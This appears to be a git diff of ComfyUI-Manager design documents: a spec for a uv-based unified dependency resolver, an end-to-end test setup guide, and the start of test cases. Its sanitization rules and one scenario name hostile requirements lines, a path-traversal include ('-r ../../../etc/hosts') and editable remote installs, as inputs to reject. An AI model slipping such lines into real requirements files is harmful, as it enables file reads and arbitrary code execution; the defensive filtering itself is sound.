cm_global.pip_overrides = {} # dict, loaded from JSON
|
||||
cm_global.pip_downgrade_blacklist = [ # list
|
||||
'torch', 'torchaudio', 'torchsde', 'torchvision',
|
||||
'transformers', 'safetensors', 'kornia'
|
||||
]
|
||||
```
|
||||
|
||||
> **cm_cli path**: `cm_cli/__main__.py` also independently initializes these attributes.
|
||||
> If the resolver may be called from the CLI path, this initialization should also be verified.
|
||||
|
||||
### PIPFixer Call Pattern
|
||||
|
||||
```python
|
||||
# Within UnifiedManager.execute_install_script() method in manager_core.py:
|
||||
pip_fixer = manager_util.PIPFixer(
|
||||
manager_util.get_installed_packages(),
|
||||
context.comfy_path,
|
||||
context.manager_files_path
|
||||
)
|
||||
# ... (after installation)
|
||||
pip_fixer.fix_broken()
|
||||
```
|
||||
|
||||
The unified resolver does not call PIPFixer directly.
|
||||
The caller (execute_install_script) calls PIPFixer as part of the existing flow.
|
||||
|
||||
### is_blacklisted() Logic (Must Be Reproduced in Unified Resolver)
|
||||
|
||||
```python
|
||||
# manager_core.py — def is_blacklisted(name)
|
||||
# 1. Simple pip_blacklist membership check
|
||||
# 2. pip_downgrade_blacklist version comparison:
|
||||
# - Parse spec with regex r'([^<>!~=]+)([<>!~=]=?)([^ ]*)'
|
||||
# - match is None (no version spec) + installed → block
|
||||
# - Operator in ['<=', '==', '<', '~='] + installed version >= requested version → block
|
||||
# - Version comparison uses manager_util.StrictVersion (NOT packaging.version)
|
||||
```
|
||||
|
||||
The unified resolver's `_is_downgrade_blacklisted()` method faithfully reproduces this logic.
|
||||
It uses `manager_util.StrictVersion` instead of `packaging.version.parse()` to ensure consistency with existing behavior.
|
||||
|
||||
### Existing Code --index-url Handling (Asymmetric)
|
||||
|
||||
```python
|
||||
# Only exists in standalone function execute_install_script():
|
||||
if '--index-url' in package_name:
|
||||
s = package_name.split('--index-url')
|
||||
install_cmd = manager_util.make_pip_cmd(["install", s[0].strip(), '--index-url', s[1].strip()])
|
||||
|
||||
# UnifiedManager.execute_install_script() method does NOT have this handling
|
||||
```
|
||||
|
||||
The unified resolver unifies both paths for consistent handling via `_split_index_url()`.
|
||||
@@ -0,0 +1,363 @@
|
||||
# PRD: Unified Dependency Resolver
|
||||
|
||||
## 1. Overview
|
||||
|
||||
### 1.1 Background
|
||||
ComfyUI Manager currently installs each node pack's `requirements.txt` individually via `pip install`.
|
||||
This approach causes dependency conflicts where installing a new node pack can break previously installed node packs' dependencies.
|
||||
|
||||
**Current flow:**
|
||||
```mermaid
|
||||
graph LR
|
||||
A1[Install node pack A] --> A2[pip install A's deps] --> A3[Run install.py]
|
||||
B1[Install node pack B] --> B2[pip install B's deps] --> B3[Run install.py]
|
||||
B2 -.->|May break<br/>A's deps| A2
|
||||
```
|
||||
|
||||
### 1.2 Goal
|
||||
Implement a unified dependency installation module that uses `uv` to resolve all dependencies (installed node packs + new node packs) at once.
|
||||
|
||||
**New flow (unified resolver mode):**
|
||||
```mermaid
|
||||
graph TD
|
||||
subgraph "Install Time (immediate)"
|
||||
A1[User installs node pack X] --> A2[Git clone / download]
|
||||
A2 --> A3["Run X's install.py (if exists)"]
|
||||
A3 --> A4["Skip per-node pip install<br/>(deps deferred to restart)"]
|
||||
end
|
||||
|
||||
subgraph "ComfyUI Restart (startup batch)"
|
||||
B1[prestartup_script.py] --> B2[Collect ALL installed node packs' deps]
|
||||
B2 --> B3["uv pip compile → pinned requirements.txt"]
|
||||
B3 --> B4["uv pip install -r → Batch install"]
|
||||
B4 --> B5[PIPFixer environment correction]
|
||||
end
|
||||
```
|
||||
|
||||
> **Terminology**: In this document, "lockfile" refers to the **pinned requirements.txt** generated by `uv pip compile`.
|
||||
> This is different from the `uv.lock` (TOML format) generated by `uv lock`. We use a pip-compatible workflow.
|
||||
|
||||
### 1.3 Scope
|
||||
- Develop a new dedicated dependency resolution module
|
||||
- Opt-in activation from the existing install process
|
||||
- **Handles dependency resolution (deps install) only**. `install.py` execution is handled by existing logic
|
||||
|
||||
---
|
||||
|
||||
## 2. Constraints
|
||||
|
||||
| Item | Description |
|
||||
|------|-------------|
|
||||
| **uv required** | Only operates in environments where `uv` is available |
|
||||
| **Independent of `use_uv` flag** | `use_unified_resolver` is separate from the existing `use_uv` flag. Even if `use_uv=False`, setting `use_unified_resolver=True` attempts resolver activation. Auto-fallback if uv is not installed |
|
||||
| **Pre-validated list** | Input node pack list is assumed to be pre-verified for mutual dependency compatibility |
|
||||
| **Backward compatibility** | Existing pip-based install process is fully preserved (fallback) |
|
||||
| **Blacklist/overrides bypassed** | In unified mode, `pip_blacklist`, `pip_overrides`, `pip_downgrade_blacklist` are NOT applied (empty values passed). Constructor interface is preserved for future extensibility. `uv pip compile` handles all conflict resolution natively. **[DEFERRED]** Reading actual values from `cm_global` at startup is deferred to a future version — v1 always passes empty values |
|
||||
| **Multiple custom_nodes paths** | Supports all paths returned by `folder_paths.get_folder_paths('custom_nodes')` |
|
||||
| **Scope of application** | Batch resolver runs at **module scope** in `prestartup_script.py` (unconditionally when enabled, independent of `install-scripts.txt` existence). The 2 `execute_install_script()` locations skip per-node pip install when unified mode is active (deps deferred to restart). `execute_lazy_install_script()` is also modified to skip per-node pip install in unified mode. Other install paths such as `install_manager_requirements()`, `pip_install()` are outside v1 scope (future extension) |
|
||||
| **Legacy module** | `comfyui_manager/legacy/manager_core.py` is excluded from modification. Legacy paths retain existing pip behavior |
|
||||
|
||||
---
|
||||
|
||||
## 3. Functional Requirements
|
||||
|
||||
### FR-1: Node Pack List and Base Dependency Input
|
||||
|
||||
**Input:**
|
||||
- Node pack list (fullpath list of installed + to-be-installed node packs)
|
||||
- Base dependencies (ComfyUI's `requirements.txt` and `manager_requirements.txt`)
|
||||
|
||||
**Behavior:**
|
||||
- Validate each node pack path
|
||||
- Exclude disabled (`.disabled`) node packs
|
||||
- Detection criteria: Existence of `custom_nodes/.disabled/{node_pack_name}` **directory**
|
||||
- Existing mechanism: Disabling a node pack **moves** it from `custom_nodes/` to `custom_nodes/.disabled/` (does NOT create a `.disabled` file inside the node pack)
|
||||
- At resolver input time, disabled node packs should already be absent from `custom_nodes/`, so normally they won't be in `node_pack_paths`
|
||||
- Defensively exclude any node pack paths that are within the `.disabled` directory
|
||||
- Base dependencies are treated as constraints
|
||||
- Traverse all paths from `folder_paths.get_folder_paths('custom_nodes')`
|
||||
|
||||
**`cm_global` runtime dependencies:**
|
||||
- `cm_global.pip_overrides`, `pip_blacklist`, `pip_downgrade_blacklist` are dynamically assigned during `prestartup_script.py` execution
|
||||
- In unified mode, these are **not applied** — empty values are passed to the resolver constructor
|
||||
- The constructor interface accepts these parameters for future extensibility (defaults to empty when `None`)
|
||||
|
||||
### FR-2: Dependency List Extraction
|
||||
|
||||
**Behavior:**
|
||||
- Parse `requirements.txt` from each node pack directory
|
||||
- Encoding: Use `robust_readlines()` pattern (`chardet` detection, assumes UTF-8 if not installed)
|
||||
- Package name remapping (constructor accepts `overrides` dict — **empty in v1**, interface preserved for extensibility)
|
||||
- Blacklist package filtering (constructor accepts `blacklist` set — **empty in v1**, uv handles torch etc. natively)
|
||||
- Downgrade blacklist filtering (constructor accepts `downgrade_blacklist` list — **empty in v1**)
|
||||
- **Note**: In unified mode, `uv pip compile` resolves all version conflicts natively. The blacklist/overrides/downgrade_blacklist mechanisms from the existing pip flow are bypassed
|
||||
- Strip comments (`#`) and blank lines
|
||||
- **Input sanitization** (see below)
|
||||
- Separate handling of `--index-url` entries (see below)
|
||||
|
||||
**Input sanitization:**
|
||||
- Requirements lines matching the following patterns are **rejected and logged** (security defense):
|
||||
- `-r`, `--requirement` (recursive include → path traversal risk)
|
||||
- `-e`, `--editable` (VCS/local path install → arbitrary code execution risk)
|
||||
- `-c`, `--constraint` (external constraint file injection)
|
||||
- `--find-links`, `-f` (external package source specification)
|
||||
- `@ file://` (local file reference → path traversal risk)
|
||||
- Package names containing path separators (`/`, `\`)
|
||||
- Allowed items: Package specs (`name>=version`), specs with `--index-url`, environment markers (containing `;`)
|
||||
- Rejected lines are recorded in the `skipped` list with reason
|
||||
|
||||
**`--index-url` handling:**
|
||||
- Existing code (standalone function `execute_install_script()`) parses `package_name --index-url URL` format for special handling
|
||||
- **Note**: The class method `UnifiedManager.execute_install_script()` does NOT have this handling (asymmetric)
|
||||
- The unified resolver **unifies both paths** for consistent handling:
|
||||
- Package spec → added to the general dependency list
|
||||
- `--extra-index-url URL` → passed as `uv pip compile` argument
|
||||
- Separated index URLs are collected in `CollectedDeps.extra_index_urls`
|
||||
- **Credential redaction**: Authentication info (`user:pass@`) in index URLs is masked during logging
|
||||
|
||||
**Duplicate handling strategy:**
|
||||
- No deduplication is performed directly
|
||||
- Different version specs of the same package are **all passed as-is** to uv
|
||||
- `uv pip compile` handles version resolution (uv determines the optimal version)
|
||||
|
||||
**Output:**
|
||||
- Unified dependency list (tracked by source node pack)
|
||||
- Additional index URL list
|
||||
|
||||
### FR-3: uv pip compile Execution
|
||||
|
||||
**Behavior:**
|
||||
- Generate temporary requirements file from the collected dependency list
|
||||
- Execute `uv pip compile` to produce a pinned requirements.txt
|
||||
- `--output-file` (required): Specify output file (outputs to stdout only if not specified)
|
||||
- `--constraint`: Pass base dependencies as constraints
|
||||
- `--python`: Current Python interpreter path
|
||||
- `--extra-index-url`: Additional index URLs collected from FR-2 (multiple allowed)
|
||||
- Resolve for the current platform (platform-specific results)
|
||||
|
||||
**Error handling:**
|
||||
- Return conflict package report when resolution fails
|
||||
- Timeout handling (300s): Explicitly catch `subprocess.TimeoutExpired`, terminate child process, then fallback
|
||||
- Lockfile output file existence verification: Confirm file was actually created even when `returncode == 0`
|
||||
- Temp file cleanup: Guaranteed in `finally` block. Includes stale temp file cleanup logic at next execution for abnormal termination (SIGKILL) scenarios
|
||||
|
||||
**Output:**
|
||||
- pinned requirements.txt (file with all packages pinned to exact versions)
|
||||
|
||||
### FR-4: Pinned Requirements-based Dependency Installation
|
||||
|
||||
**Behavior:**
|
||||
- Execute `uv pip install -r <pinned-requirements.txt>`
|
||||
- **Do NOT use `uv pip sync`**: sync deletes packages not in the lockfile, risking removal of torch, ComfyUI's own dependencies, etc.
|
||||
- Already-installed packages at the same version are skipped (default uv behavior)
|
||||
- Log installation results
|
||||
|
||||
**Error handling:**
|
||||
- `uv pip install -r` is an **atomic operation** (all-or-nothing)
|
||||
- On total failure: Parse stderr for failure cause report → fallback to existing pip
|
||||
- **No partial failure report** (not possible due to uv's behavior)
|
||||
- `InstallResult`'s `installed`/`skipped` fields are populated by parsing uv stdout; `stderr` records failure cause (no separate `failed` field needed due to atomic model)
|
||||
|
||||
### FR-5: Post-install Environment Correction
|
||||
|
||||
**Behavior:**
|
||||
- Call `PIPFixer.fix_broken()` for environment integrity correction
|
||||
- Restore torch version (when change detected)
|
||||
- Fix OpenCV conflicts
|
||||
- Restore comfyui-frontend-package
|
||||
- Restore packages based on `pip_auto_fix.list`
|
||||
- **This step is already performed in the existing `execute_install_script()` flow, so the unified resolver itself doesn't need to call it**
|
||||
- However, an optional call option is provided for cases where the resolver is invoked independently outside the existing flow
|
||||
|
||||
### FR-6: install.py Execution (Existing Flow Maintained)
|
||||
|
||||
**Behavior:**
|
||||
- The unified resolver handles deps installation **at startup time only**
|
||||
- `install.py` execution is handled by the existing `execute_install_script()` flow and runs **immediately** at install time
|
||||
- Deps are deferred to startup batch resolution; `install.py` runs without waiting for deps
|
||||
|
||||
**Control flow specification (unified mode active):**
|
||||
- `execute_install_script()`: **skip** the `requirements.txt`-based individual pip install loop entirely (deps will be resolved at next restart)
|
||||
- `install.py` execution runs **immediately** as before
|
||||
- At next ComfyUI restart: `prestartup_script.py` runs the unified resolver for all installed node packs
|
||||
|
||||
**Control flow specification (unified mode inactive / fallback):**
|
||||
- Existing pip install loop runs as-is (no change)
|
||||
- `install.py` execution runs **immediately** as before
|
||||
|
||||
### FR-7: Startup Batch Resolution
|
||||
|
||||
**Behavior:**
|
||||
- When `use_unified_resolver=True`, **all dependency resolution is deferred to ComfyUI startup**
|
||||
- At install time: node pack itself is installed (git clone, etc.) and `install.py` runs immediately, but `requirements.txt` deps are **not** installed per-request
|
||||
- At startup time: `prestartup_script.py` runs the unified resolver once for all installed node packs
|
||||
|
||||
**Startup execution flow (in `prestartup_script.py`):**
|
||||
1. At **module scope** (before `execute_startup_script()` gate): check `manager_util.use_unified_resolver` flag
|
||||
2. If enabled: collect all installed node pack paths, read base requirements from `comfy_path`
|
||||
3. Create `UnifiedDepResolver` with empty blacklist/overrides/downgrade_blacklist (uv handles resolution natively)
|
||||
4. Call `resolve_and_install()` — collects all deps → compile → install in one batch
|
||||
5. On success: set `_unified_resolver_succeeded = True`, skip per-node pip in `execute_lazy_install_script()`
|
||||
6. On failure: log warning, `execute_lazy_install_script()` falls back to existing per-node pip install
|
||||
7. **Note**: Runs unconditionally when enabled, independent of `install-scripts.txt` existence
|
||||
|
||||
**`execute_install_script()` behavior in unified mode:**
|
||||
- Skip the `requirements.txt` pip install loop entirely (deps will be handled at restart)
|
||||
- `install.py` execution still runs immediately
|
||||
|
||||
**`execute_lazy_install_script()` behavior in unified mode:**
|
||||
- Skip the `requirements.txt` pip install loop (already handled by startup batch resolver)
|
||||
- `install.py` execution still runs
|
||||
|
||||
**Windows-specific behavior:**
|
||||
- Windows lazy install path also benefits from startup batch resolution
|
||||
- `try_install_script()` defers to `reserve_script()` as before for non-`instant_execution=True` installs
|
||||
|
||||
---
|
||||
|
||||
## 4. Non-functional Requirements
|
||||
|
||||
| Item | Requirement |
|
||||
|------|-------------|
|
||||
| **Performance** | Equal to or faster than existing individual installs |
|
||||
| **Stability** | Must not break the existing environment |
|
||||
| **Logging** | Log progress and results at each step (details below) |
|
||||
| **Error recovery** | Fallback to existing pip method on failure |
|
||||
| **Testing** | Unit test coverage above 80% |
|
||||
| **Security** | requirements.txt input sanitization (see FR-2), credential log redaction, subprocess list-form invocation |
|
||||
| **Concurrency** | Prevent lockfile path collisions on concurrent install requests. Use process/thread-unique suffixes or temp directories |
|
||||
| **Temp files** | Guarantee temp file cleanup on both normal and abnormal termination. Clean stale files on next execution |
|
||||
|
||||
### Logging Requirements
|
||||
|
||||
| Step | Log Level | Content |
|
||||
|------|-----------|---------|
|
||||
| Resolver start | `INFO` | Node pack count, total dependency count, mode (unified/pip) |
|
||||
| Dependency collection | `INFO` | Collection summary (collected N, skipped N, sources N) |
|
||||
| Dependency collection | `DEBUG` | Per-package collection/skip/remap details |
|
||||
| `--index-url` detection | `INFO` | Detected additional index URL list |
|
||||
| uv compile start | `INFO` | Execution command (excluding sensitive info) |
|
||||
| uv compile success | `INFO` | Pinned package count, elapsed time |
|
||||
| uv compile failure | `WARNING` | Conflict details, fallback transition notice |
|
||||
| Install start | `INFO` | Number of packages to install |
|
||||
| Install success | `INFO` | Installed/skipped/failed count summary, elapsed time |
|
||||
| Install failure | `WARNING` | Failed package list, fallback transition notice |
|
||||
| Fallback transition | `WARNING` | Transition reason, original error message |
|
||||
| Overall completion | `INFO` | Final result summary (success/fallback/failure) |
|
||||
|
||||
> **Log prefix**: All logs use `[UnifiedDepResolver]` prefix to distinguish from existing pip install logs
|
||||
|
||||
---
|
||||
|
||||
## 5. Usage Scenarios
|
||||
|
||||
### Scenario 1: Single Node Pack Installation (unified mode)
|
||||
```
|
||||
User requests installation of node pack X
|
||||
→ Git clone / download node pack X
|
||||
→ Run X's install.py (if exists) — immediately
|
||||
→ Skip per-node pip install (deps deferred)
|
||||
→ User restarts ComfyUI
|
||||
→ prestartup_script.py: Collect deps from ALL installed node packs (A,B,C,X)
|
||||
→ uv pip compile resolves fully compatible versions
|
||||
→ uv pip install -r for batch installation
|
||||
→ PIPFixer environment correction
|
||||
```
|
||||
|
||||
### Scenario 2: Multi Node Pack Batch Installation (unified mode)
|
||||
```
|
||||
User requests installation of node packs X, Y, Z
|
||||
→ Each node pack: git clone + install.py — immediately
|
||||
→ Per-node pip install skipped for all
|
||||
→ User restarts ComfyUI
|
||||
→ prestartup_script.py: Collect deps from ALL installed node packs (including X,Y,Z)
|
||||
→ Single uv pip compile → single uv pip install -r
|
||||
→ PIPFixer environment correction
|
||||
```
|
||||
|
||||
### Scenario 3: Dependency Resolution Failure (Edge Case)
|
||||
```
|
||||
Even pre-validated lists may fail due to uv version differences or platform issues
|
||||
→ uv pip compile failure → return conflict report
|
||||
→ Display conflict details to user
|
||||
→ Auto-execute existing pip fallback
|
||||
```
|
||||
|
||||
### Scenario 4: uv Not Installed
|
||||
```
|
||||
uv unavailable detected → auto-fallback to existing pip method
|
||||
→ Display uv installation recommendation to user
|
||||
```
|
||||
|
||||
### Scenario 5: Windows Lazy Installation (unified mode)
|
||||
```
|
||||
Node pack installation requested on Windows
|
||||
→ Node pack install deferred to startup (existing lazy mechanism)
|
||||
→ On next ComfyUI startup: unified resolver runs first (batch deps)
|
||||
→ execute_lazy_install_script() skips per-node pip (already resolved)
|
||||
→ install.py still runs per node pack
|
||||
```
|
||||
|
||||
### Scenario 6: Malicious/Non-standard requirements.txt
|
||||
```
|
||||
Node pack's requirements.txt contains `-r ../../../etc/hosts` or `-e git+https://...`
|
||||
→ Sanitization filter rejects the line
|
||||
→ Log rejection reason and continue processing remaining valid packages
|
||||
→ Notify user of rejected item count
|
||||
```
|
||||
|
||||
### Scenario 7: Concurrent Install Requests (unified mode)
|
||||
```
|
||||
User requests installation of node packs A and B nearly simultaneously from UI
|
||||
→ Each request: git clone + install.py immediately, deps skipped
|
||||
→ On restart: single unified resolver run handles both A and B deps together
|
||||
→ No concurrency issue (single batch at startup)
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
## 6. Success Metrics
|
||||
|
||||
| Metric | Target |
|
||||
|--------|--------|
|
||||
| Dependency conflict reduction | 90%+ reduction compared to current |
|
||||
| Install success rate | 99%+ (for compatibility-verified lists) |
|
||||
| Performance | Equal to or better than existing individual installs |
|
||||
| Adoption rate | 50%+ of eligible users |
|
||||
|
||||
---
|
||||
|
||||
## 7. Future Extensions
|
||||
|
||||
- ~~**`cm_global` integration** [DONE]: All `--uv-compile` CLI commands (`uv-compile`, `install`, `reinstall`, `update`, `fix`, `restore-snapshot`, `restore-dependencies`, `install-deps`) pass real `cm_global` values. Startup path (`prestartup_script.py`) still passes empty by design~~
|
||||
- Lockfile caching: Reuse for identical node pack configurations
|
||||
- Pre-install dependency conflict validation API: Check compatibility before installation
|
||||
- Dependency tree visualization: Display dependency relationships to users
|
||||
- `uv lock`-based cross-platform lockfile support (TOML format)
|
||||
- `install_manager_requirements()` integration: Resolve manager's own dependencies through unified resolver
|
||||
- `pip_install()` integration: Route UI direct installs through unified resolver
|
||||
- Legacy module (`comfyui_manager/legacy/`) unified resolver support
|
||||
|
||||
---
|
||||
|
||||
## Appendix A: Existing Code Install Path Mapping
|
||||
|
||||
> This section is reference material to clarify the unified resolver's scope of application.
|
||||
|
||||
| Install Path | Location | v1 Applied | Notes |
|
||||
|-------------|----------|------------|-------|
|
||||
| `UnifiedManager.execute_install_script()` | `glob/manager_core.py` (method) | ✅ Yes | Skips per-node pip in unified mode (deps deferred to restart) |
|
||||
| Standalone `execute_install_script()` | `glob/manager_core.py` (function) | ✅ Yes | Skips per-node pip in unified mode (deps deferred to restart) |
|
||||
| `execute_lazy_install_script()` | `prestartup_script.py` | ✅ Yes | Skips per-node pip in unified mode (already batch-resolved) |
|
||||
| Startup batch resolver | `prestartup_script.py` | ✅ Yes | **New**: Runs unified resolver once at startup for all node packs |
|
||||
| `install_manager_requirements()` | `glob/manager_core.py` | ❌ No | Manager's own deps |
|
||||
| `pip_install()` | `glob/manager_core.py` | ❌ No | UI direct install |
|
||||
| Legacy `execute_install_script()` (2 locations) | `legacy/manager_core.py` | ❌ No | Legacy paths |
|
||||
| `cm_cli uv-compile` | `cm_cli/__main__.py` | ✅ Yes | Standalone CLI batch resolution (with `cm_global` values) |
|
||||
| `cm_cli install --uv-compile` | `cm_cli/__main__.py` | ✅ Yes | Per-node pip skipped, batch resolution after all installs |
|
||||
| `cm_cli reinstall --uv-compile` | `cm_cli/__main__.py` | ✅ Yes | Per-node pip skipped, batch resolution after all reinstalls; mutually exclusive with `--no-deps` |
|
||||
| `cm_cli update --uv-compile` | `cm_cli/__main__.py` | ✅ Yes | Per-node pip skipped during updates, batch resolution after |
|
||||
| `cm_cli fix --uv-compile` | `cm_cli/__main__.py` | ✅ Yes | Per-node pip skipped during dep fix, batch resolution after |
|
||||
| `cm_cli restore-snapshot --uv-compile` | `cm_cli/__main__.py` | ✅ Yes | Per-node pip skipped during restore, batch resolution after |
|
||||
| `cm_cli restore-dependencies --uv-compile` | `cm_cli/__main__.py` | ✅ Yes | Per-node pip skipped, batch resolution after all node deps restored |
|
||||
| `cm_cli install-deps --uv-compile` | `cm_cli/__main__.py` | ✅ Yes | Per-node pip skipped, batch resolution after deps-spec install |
|
||||
@@ -0,0 +1,194 @@
|
||||
# Test Environment Setup
|
||||
|
||||
Procedures for setting up a ComfyUI environment with ComfyUI-Manager installed for functional testing.
|
||||
|
||||
## Automated Setup (Recommended)
|
||||
|
||||
Three shell scripts in `tests/e2e/scripts/` automate the entire lifecycle:
|
||||
|
||||
```bash
|
||||
# 1. Setup: clone ComfyUI, create venv, install deps, symlink Manager
|
||||
E2E_ROOT=/tmp/e2e_test MANAGER_ROOT=/path/to/comfyui-manager-draft4 \
|
||||
bash tests/e2e/scripts/setup_e2e_env.sh
|
||||
|
||||
# 2. Start: launches ComfyUI in background, blocks until ready
|
||||
E2E_ROOT=/tmp/e2e_test bash tests/e2e/scripts/start_comfyui.sh
|
||||
|
||||
# 3. Stop: graceful SIGTERM → SIGKILL shutdown
|
||||
E2E_ROOT=/tmp/e2e_test bash tests/e2e/scripts/stop_comfyui.sh
|
||||
|
||||
# 4. Cleanup
|
||||
rm -rf /tmp/e2e_test
|
||||
```
|
||||
|
||||
### Script Details
|
||||
|
||||
| Script | Purpose | Input | Output |
|
||||
|--------|---------|-------|--------|
|
||||
| `setup_e2e_env.sh` | Full environment setup (8 steps) | `E2E_ROOT`, `MANAGER_ROOT`, `COMFYUI_BRANCH` (default: master), `PYTHON` (default: python3) | `E2E_ROOT=<path>` on last line |
|
||||
| `start_comfyui.sh` | Foreground-blocking launcher | `E2E_ROOT`, `PORT` (default: 8199), `TIMEOUT` (default: 120s) | `COMFYUI_PID=<pid> PORT=<port>` |
|
||||
| `stop_comfyui.sh` | Graceful shutdown | `E2E_ROOT`, `PORT` (default: 8199) | — |
|
||||
|
||||
**Idempotent**: `setup_e2e_env.sh` checks for a `.e2e_setup_complete` marker file and skips setup if the environment already exists.
|
||||
|
||||
**Blocking mechanism**: `start_comfyui.sh` uses `tail -n +1 -f | grep -q -m1 'To see the GUI'` to block until ComfyUI is ready. No polling loop needed.
|
||||
|
||||
---
|
||||
|
||||
## Prerequisites
|
||||
|
||||
- Python 3.9+
|
||||
- Git
|
||||
- `uv` (install via `pip install uv` or [standalone](https://docs.astral.sh/uv/getting-started/installation/))
|
||||
|
||||
## Manual Setup (Reference)
|
||||
|
||||
For understanding or debugging, the manual steps are documented below. The automated scripts execute these same steps.
|
||||
|
||||
### 1. ComfyUI Clone
|
||||
|
||||
```bash
|
||||
COMFY_ROOT=$(mktemp -d)/ComfyUI
|
||||
git clone https://github.com/comfyanonymous/ComfyUI.git "$COMFY_ROOT"
|
||||
cd "$COMFY_ROOT"
|
||||
```
|
||||
|
||||
### 2. Virtual Environment
|
||||
|
||||
```bash
|
||||
cd "$COMFY_ROOT"
|
||||
uv venv .venv
|
||||
source .venv/bin/activate # Linux/macOS
|
||||
# .venv\Scripts\activate # Windows
|
||||
```
|
||||
|
||||
### 3. ComfyUI Dependencies
|
||||
|
||||
```bash
|
||||
# GPU (CUDA)
|
||||
uv pip install -r requirements.txt --extra-index-url https://download.pytorch.org/whl/cu121
|
||||
|
||||
# CPU only (lightweight, for functional testing)
|
||||
uv pip install -r requirements.txt --extra-index-url https://download.pytorch.org/whl/cpu
|
||||
```
|
||||
|
||||
### 4. ComfyUI-Manager Install (Development)
|
||||
|
||||
```bash
|
||||
# MANAGER_ROOT = comfyui-manager-draft4 repository root
|
||||
MANAGER_ROOT=/path/to/comfyui-manager-draft4
|
||||
|
||||
# Editable install from current source
|
||||
uv pip install -e "$MANAGER_ROOT"
|
||||
```
|
||||
|
||||
> **Note**: Editable mode (`-e`) reflects code changes without reinstalling.
|
||||
> For production-like testing, use `uv pip install "$MANAGER_ROOT"` (non-editable).
|
||||
|
||||
### 5. Symlink Manager into custom_nodes
|
||||
|
||||
```bash
|
||||
ln -s "$MANAGER_ROOT" "$COMFY_ROOT/custom_nodes/ComfyUI-Manager"
|
||||
```
|
||||
|
||||
### 6. Write config.ini
|
||||
|
||||
```bash
|
||||
mkdir -p "$COMFY_ROOT/user/__manager"
|
||||
cat > "$COMFY_ROOT/user/__manager/config.ini" << 'EOF'
|
||||
[default]
|
||||
use_uv = true
|
||||
use_unified_resolver = true
|
||||
EOF
|
||||
```
|
||||
|
||||
> **IMPORTANT**: The config path is `$COMFY_ROOT/user/__manager/config.ini`, resolved by `folder_paths.get_system_user_directory("manager")`. It is NOT inside the symlinked Manager directory.
|
||||
|
||||
### 7. HOME Isolation
|
||||
|
||||
```bash
|
||||
export HOME=/tmp/e2e_home
|
||||
mkdir -p "$HOME/.config" "$HOME/.local/share"
|
||||
```
|
||||
|
||||
### 8. ComfyUI Launch
|
||||
|
||||
```bash
|
||||
cd "$COMFY_ROOT"
|
||||
PYTHONUNBUFFERED=1 python main.py --enable-manager --cpu --port 8199
|
||||
```
|
||||
|
||||
| Flag | Purpose |
|
||||
|------|---------|
|
||||
| `--enable-manager` | Enable ComfyUI-Manager (disabled by default) |
|
||||
| `--cpu` | Run without GPU (for functional testing) |
|
||||
| `--port 8199` | Use non-default port to avoid conflicts |
|
||||
| `--enable-manager-legacy-ui` | Enable legacy UI (optional) |
|
||||
| `--listen` | Allow remote connections (optional) |
|
||||
|
||||
### Key Directories
|
||||
|
||||
| Directory | Path | Description |
|
||||
|-----------|------|-------------|
|
||||
| ComfyUI root | `$COMFY_ROOT/` | ComfyUI installation root |
|
||||
| Manager data | `$COMFY_ROOT/user/__manager/` | Manager config, startup scripts, snapshots |
|
||||
| Config file | `$COMFY_ROOT/user/__manager/config.ini` | Manager settings (`use_uv`, `use_unified_resolver`, etc.) |
|
||||
| custom_nodes | `$COMFY_ROOT/custom_nodes/` | Installed node packs |
|
||||
|
||||
> The Manager data path is resolved via `folder_paths.get_system_user_directory("manager")`.
|
||||
> Printed at startup: `** ComfyUI-Manager config path: <path>/config.ini`
|
||||
|
||||
### Startup Sequence
|
||||
|
||||
When Manager loads successfully, the following log lines appear:
|
||||
|
||||
```
|
||||
[PRE] ComfyUI-Manager # prestartup_script.py executed
|
||||
[START] ComfyUI-Manager # manager_server.py loaded
|
||||
```
|
||||
|
||||
The `Blocked by policy` message for Manager in custom_nodes is **expected** — `should_be_disabled()` in `comfyui_manager/__init__.py` prevents legacy double-loading when Manager is already pip-installed.
|
||||
|
||||
---
|
||||
|
||||
## Caveats & Known Issues
|
||||
|
||||
### PYTHONPATH for `comfy` imports
|
||||
|
||||
ComfyUI's `comfy` package is a **local package** inside the ComfyUI directory — it is NOT pip-installed. Any code that imports from `comfy` (including `comfyui_manager.__init__`) requires `PYTHONPATH` to include the ComfyUI directory:
|
||||
|
||||
```bash
|
||||
PYTHONPATH="$COMFY_ROOT" python -c "import comfy"
|
||||
PYTHONPATH="$COMFY_ROOT" python -c "import comfyui_manager"
|
||||
```
|
||||
|
||||
The automated scripts handle this via `PYTHONPATH` in verification checks and the ComfyUI process inherits it implicitly by running from the ComfyUI directory.
|
||||
|
||||
### config.ini path
|
||||
|
||||
The config file must be at `$COMFY_ROOT/user/__manager/config.ini`, **NOT** inside the Manager symlink directory. This is resolved by `folder_paths.get_system_user_directory("manager")` at `prestartup_script.py:65-73`.
|
||||
|
||||
### Manager v4 endpoint prefix
|
||||
|
||||
All Manager endpoints use the `/v2/` prefix (e.g., `/v2/manager/queue/status`, `/v2/snapshot/get_current`). Paths without the prefix will return 404.
|
||||
|
||||
### `Blocked by policy` is expected
|
||||
|
||||
When Manager detects that it's loaded as a custom_node but is already pip-installed, it prints `Blocked by policy` and skips legacy loading. This is intentional behavior in `comfyui_manager/__init__.py:39-51`.
|
||||
|
||||
### Bash `((var++))` trap
|
||||
|
||||
Under `set -e`, `((0++))` evaluates the pre-increment value (0), and `(( 0 ))` returns exit code 1, killing the script. Use `var=$((var + 1))` instead.
|
||||
|
||||
### `git+https://` URLs in requirements.txt
|
||||
|
||||
Some node packs (e.g., Impact Pack's SAM2 dependency) use `git+https://github.com/...` URLs. The unified resolver correctly rejects these with "rejected path separator" — they must be installed separately.
|
||||
|
||||
---
|
||||
|
||||
## Cleanup
|
||||
|
||||
```bash
|
||||
deactivate
|
||||
rm -rf "$COMFY_ROOT"
|
||||
```
|
||||
@@ -0,0 +1,788 @@
|
||||
# Test Cases: Unified Dependency Resolver
|
||||
|
||||
See [TEST-environment-setup.md](TEST-environment-setup.md) for environment setup.
|
||||
|
||||
## Enabling the Resolver
|
||||
|
||||
Add the following to `config.ini` (in the Manager data directory):
|
||||
|
||||
```ini
|
||||
[default]
|
||||
use_unified_resolver = true
|
||||
```
|
||||
|
||||
> Config path: `$COMFY_ROOT/user/__manager/config.ini`
|
||||
> Also printed at startup: `** ComfyUI-Manager config path: <path>/config.ini`
|
||||
|
||||
**Log visibility note**: `[UnifiedDepResolver]` messages are emitted via Python's `logging` module (INFO and WARNING levels), not `print()`. Ensure the logging level is set to INFO or lower. ComfyUI defaults typically show these, but if messages are missing, check that the root logger or the `ComfyUI-Manager` logger is not set above INFO.
